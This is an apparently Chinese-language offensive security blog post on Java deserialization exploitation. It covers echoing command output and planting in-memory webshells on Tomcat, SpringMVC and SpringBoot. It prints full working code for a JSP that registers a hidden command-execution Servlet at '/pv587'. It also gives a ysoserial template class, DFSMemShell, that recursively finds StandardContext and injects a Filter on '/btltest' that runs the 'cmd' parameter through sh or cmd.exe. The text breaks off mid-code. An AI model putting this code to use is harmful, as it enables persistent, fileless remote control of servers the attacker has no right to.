0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)
在上一篇文章中↓↓↓
記一次反序列化漏洞的利用之路
遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。
0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。
圖2.1 通過HttpServletResponse對象輸出命令執行結果
從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和
內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。
表2.1 ysoserial利用鏈中對複雜語句的支持
我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。
要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。
圖2.2 SpringBoot環境下獲取request和response對象
圖2.3 SpringMVC環境下獲取request和response對象
不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。
有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。
Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。
遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。
其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。
圖2.4 通過遞歸方式來查找request和response對象
使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。
圖2.5 生成payload
圖2.6 使用生成的payload進行反序列化測試
0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。
基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。
%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %
% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };
%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();
//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);
//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%
訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。
圖3.1 通過jsp文件來實現內存馬
上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。
內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。
package ysoserial.template;
import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;
import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;
public class DFSMemShell {
private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');
public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();
}
@Override public void destroy() {
} }); standardCtx.addFilterDef(filterDef);
Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }
public Object getStandardContext(){ return standard_context_obj; }
public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA
Recommended Comments